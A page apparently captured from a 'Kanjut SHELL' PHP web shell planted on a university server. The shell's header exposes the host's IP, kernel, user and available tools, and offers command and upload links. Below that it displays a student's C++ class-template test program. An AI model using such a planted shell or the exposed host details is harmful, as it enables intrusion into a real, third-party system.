Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 13.58.61.197
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jwang/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jwang/test2_6.cpp
//
//	Test II #6
// 	class template
//
//	compile: g++ test2_6.cpp -o test2_6.out
//	run:	./test2_6.out < in.txt
//

#include <iostream>
using namespace std;

// prototypes
const int MAX = 100;

template <class T>
class List
{ 	
	int length;
	T data[MAX];
public:
	List () 
	{ 	length = 0; }
	int Length ( ) const
	{ 	return length; }
	void Insert ( T item ) 
	{ 	data[ length ] = item;
		length ++;
	}
	void Print() const
	{       for(int k=0; k<length; k++)
                cout<< "\t" << data[k]  << endl;
	}
};

int main()
{
	List<string> List3s;
	List<int> List3i;
	List<char> List3c;

	string  str;
	getline(cin, str);
	while(cin)
	{	List3s.Insert(str);
		getline(cin, str);
	}

	List3s.Print();
	cout << "\n\nBye-bye.\n\n";
	return 0;
}



Stv3n404 - 2023